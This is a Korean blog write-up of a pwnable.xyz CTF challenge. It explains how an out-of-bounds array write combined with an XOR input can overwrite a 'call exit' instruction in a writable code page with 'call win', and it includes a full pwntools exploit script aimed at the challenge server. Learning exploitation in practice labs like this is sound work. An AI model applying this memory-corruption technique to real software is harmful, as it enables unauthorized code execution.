이번 문제도 한번도 안 해본 방법(?)인 문제였다.
전체적인 형식은 add나 sub와 똑같아서 세 변수 중 두 변수로 값을 조절하고, 다른 한 변수로는 리턴할 곳을 조절하는 것으로 같았다.
하지만 이번에는 FULL RELRO가 적용되어 있어서 원하는 win 함수 주소를 쓸 수 있는 곳을 찾다가...
기계어까지 적게 되었다...
차근차근 해보자..!
What can you access and what are you going to write?
# checksec : 보호기법 확인
FULL RELRO, NX로 실행과 쓰기 권한이 제한된다!
# IDA
> win 함수
일단 win 함수에서 flag 를 출력하니까 return address를 win 함수 주소로 변조하던가 win 함수 주소로 리턴하는 형태일 것
> main 함수
main 함수 코드를 보고 지금까지 푼 add와 sub와 똑같아서 바로 result의 주소를 봤다.
result 주소 : 0x202200
^ 는 C 언어에서 XOR 연산자이다.
우리는 v5 ^ v4 연산 결과로 win 함수 주소를 주고싶다. ( 정확히는 call win을 주고싶지만,,)
따라서 win 함수의 주소를 봤다.
win 함수 주소 : 0xa21
# process
유일하게 실행권한이 있는 영역은 rwxp 권한이 주어진 55c5fdc6a000-55c5fdc6b000 영역이다.
이 영역에는 main 함수의 instruction 도 포함된다.
main 함수의 마지막에 call exit을 하는데, 이 부분을 call win 으로 바꾸면 win 함수를 호출해서 flag를 출력할 수 있다.
즉, 0xac8 주소의 기계어로 되어있는 instruction인 call exit 를 call win으로 바꿔서 주면 된다.
call win을 little endian 으로 바꿔서 v5 ^ v4 가 되도록 v5와 v4를 준다.
result + v6 에 값을 넣는 것이므로, result[v6]인 위치가 0xac8이 되어야 한다.
(우리가 call win instruction을 실행하도록 하는 곳을 주소가 0xac8 이므로...)
따라서 0xac8 - 0x202200 을 10진수로 구해서 거리를 구한 후,
배열에 넣는 것이므로 각 주소 당 8 바이트 씩으로 인덱스인 v6를 구하면
(0xac8 - 0x202200) / 8 = v6
이 된다.
#!/usr/bin/python
from pwn import *
r = remote("svc.pwnable.xyz", 30029)
p = ELF("./challenge")
exit_addr = 0xac8
win_addr = 0xa21
result = 0x202200
r.recvuntil("The Poopolator\n")
p.asm(exit_addr, "call 0xa21")
put = p.read(exit_addr, 5)
put = int(put[::-1].encode("Hex"), 16)
v4 = 1
v5 = put^1
v6 = (exit_addr - result) / 8
input_num = str(v4) + " " + str(v5) + " " + str(v6)
r.sendafter(" ", input_num+"\n")
r.sendafter(" ", 'A')
r.interactive()
exit_addr에 “call 0xa21”을 asm을 사용해서 기계어로 바꾼다.
exit_addr 에서 5바이트만큼을 읽어서 step을 -1로 해서 반대로 바꾼다.
그리고 이거는 string이니까 hex로 바꾸기 위해서 put[::-1].encode(“Hex”)를 해서 hex로 바꾼다.
이렇게 바꾸고 나면 여전히 ‘’안에 들어있는, 즉 문자열 형에서 16진수로 변환된 것이므로 이거를 숫자로 읽어야 하므로 형변환을 16진수로 해서 int( , 16)을 씌워준다.
(“ “ 다음에 값을 주는 이유는…입력받을 때 보니까 이 정도 빈칸이 있었기 때문이다…)
[pwnable.xyz] two targets - shell (pwnable) (0) | 2019.11.02 |
---|---|
[pwnable.xyz] two targets (pwnable) (0) | 2019.11.02 |
[pwnable.xyz] Grownup (0) | 2019.09.27 |
[pwnable.xyz] note (0) | 2019.09.27 |
[pwnable.xyz] misalignment (0) | 2019.09.17 |